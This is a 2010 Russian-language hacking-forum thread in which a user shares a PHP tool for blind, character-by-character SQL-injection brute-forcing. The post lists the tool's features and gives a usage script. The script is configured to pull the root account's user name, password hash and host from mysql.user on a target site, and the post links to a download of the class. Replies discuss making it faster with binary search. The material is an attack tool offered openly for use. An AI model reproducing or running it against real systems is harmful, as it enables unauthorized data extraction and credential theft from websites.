[PHP] Mysql Char Brute Sploit by zEr0r

Discussion in 'PHP' started by zEr0r, 7 Dec 2010.

  1. zEr0r

    zEr0r Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    67
    Likes Received:
    28
    Reputations:
    14
    Выкладываю свой класс + пример его использования для посимвольного брута.
    ============================
    Возможности:
    1) Умеет работать с CHAR SQL INJ в GET, POST параметрах, а также в COOKIES
    2) Может вести отладочный лог
    3) Опция автоподсчета количества возвращаемых строк
    4) Функция добавления директивы DISTINCT в SQL запрос
    + еще парочку простых но облегчающих работу функций :)
    ============================
    Скриншот программы (включена опция VERBOSE):
    [​IMG]
    ============================
    Пример использования класса:
    PHP:
    <?php
    /*
    ====================================================================================
    MYSQL CHAR BRUTE HEX OPTIMIZED WITH DICHOTOMY METHOD  BY scksql.aka.zEr0r
    scksql@gmail.com
    ====================================================================================
    */

    set_time_limit);
    include( 
    "char.brute.class.php" );

    /*
    ============================
    mini-FAQ
    ============================
    ПРИМЕР ЗАДАНИЯ ПАРАМЕТРОВ ДЛЯ ПРОВЕДЕНИЯ ИНЪЕКЦИЙ В GET,POST,COOKIES:
    GET        : "GET"         => "/getContent/getNews.php?type=def&id=25%INJ%&ololo=true"
    POST      : "POST"       => "type=def&id=25%INJ%&ololo=true"
    COOKIES: "COOKIES" => array( "name1" => "value1", "type" => "def", "id" => "25%INJ%", "ololo=true" )
    ============================
    MAIN SETTINGS
    ============================
    GET             - адресный путь начиная от корня сайта (можно в него включить GET параметры)
    HOST        - хост
    TRUE            - фраза по которой скрипт будет считать, что сервер вернул TRUE
    ============================
    ADDITIONAL SETTINGS
    ============================
    POST            - POST параметры
    COOKIES        - ассоциативный массив вида array( "ИМЯ_КУКЫ1" => "ЗНАЧЕНИЕ1", "ИМЯ_КУКЫ2" => "ЗНАЧЕНИЕ2" );
    COMMENT        - комментарий вконец (оставить пустым, если не нужно)
    convert2win1251    - конвертировать полученную страницу в кодировку windows1251
    BYTESGET        - скачивать только первые N указанных байт (для экономии трафика), если не нужно оставить равным нулю
    VERBOSE        - параметр, указывает, выводить ли скрипту служебную инфу, или только вытянутые данные
    LOG            - вести лог в файл
    SLEEP        - заснуть на N микросекунд после каждой передачи данных (1 секунда - 1000000) 
    ============================
    SQL QUERY SETTINGS
    ============================
    ROW            - ИМЯ ТАБЛИЦЫ
    FROM        - таблица (оставить пустым, если FROM не нужен)
    LIMIT        - LIMIT FROM
    TO            - СКОЛЬКО СТРОЧЕК ВЫТЯНУТЬ, НАЧИНАЯ ОТ LIMIT С ШАГОМ +1
    AUTOCOUNT    - автоматически подсчитать количество строк которые вернутся
    DISTINCT        - DISTINCT SQL запрос
    */
    //////////PARAMS FOR SCRIPT WORK
    $PARAMS = array(
    /////SCRIPT PARAMS
    //////////////MAIN SETTINGS
    "GET"                  => "/folder1/folder2/?rubrik=123&artid=20%INJ%",
    "HOST"                  => "www.site.com",
    "TRUE"                 => "<title>массивная доска Triumph Дуб золотой без отбора, размер 400-1800х125х18мм</title>",
    ///////////////////////////////
    "POST"                  => "postparam1=true&postparam2=false",
    "COOKIES"               => array( "PHPSESSID" => "84186ca302c89a1c364bd8382d336160" ),
    "COMMENT"                => "/*",
    "convert2win1251"     => 0,
    "BYTESGET"             => 50000,
    "VERBOSE"             => 1,
    "LOG"                 => 0,
    "SLEEP"                 => 0,
    /////SQL PARAMS
    "ROW"                 => "concat(user,0x3a,password,0x3a,host)",
    "FROM"                 => "mysql.user+WHERE+user=0x726f6f74",
    "LIMIT"                 => 0,
    "TO"                 => 1,
    //
    "AUTOCOUNT"             => 1,
    "DISTINCT"             => 0
    );
    //SELECT %ROW% FROM %FROM% LIMIT %LIMIT$, (%LIMIT+%TO%)

    $brute = new char_brute();
    $brute->init  $PARAMS );                    ////инициализация параметров
    $brute->start ();

    ?>
    ============================
    Скачать:
    http://ifolder.ru/20659090
     
    #1 zEr0r, 7 Dec 2010
    Last edited: 19 Dec 2010
    2 people like this.
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Это в худшем случае или в среднем? Бинарный поиск гарантировано найдет любой байт за 8 запросов
     
    _________________________
  3. zEr0r

    zEr0r Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    67
    Likes Received:
    28
    Reputations:
    14
    в лучшем 10 итераций, в худшем - 12
    на самом деле на 1 символ тратится минимум 5 максимум 6 запросов, но поскольку данные кодируются в hex, то необходимо 2 байта на 1 раскодированный символ
     
  4. zEr0r

    zEr0r Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    67
    Likes Received:
    28
    Reputations:
    14
    блин а я про бинарный поиск и не подумал както ) следующая версия на нем тогда будет )
     
Loading...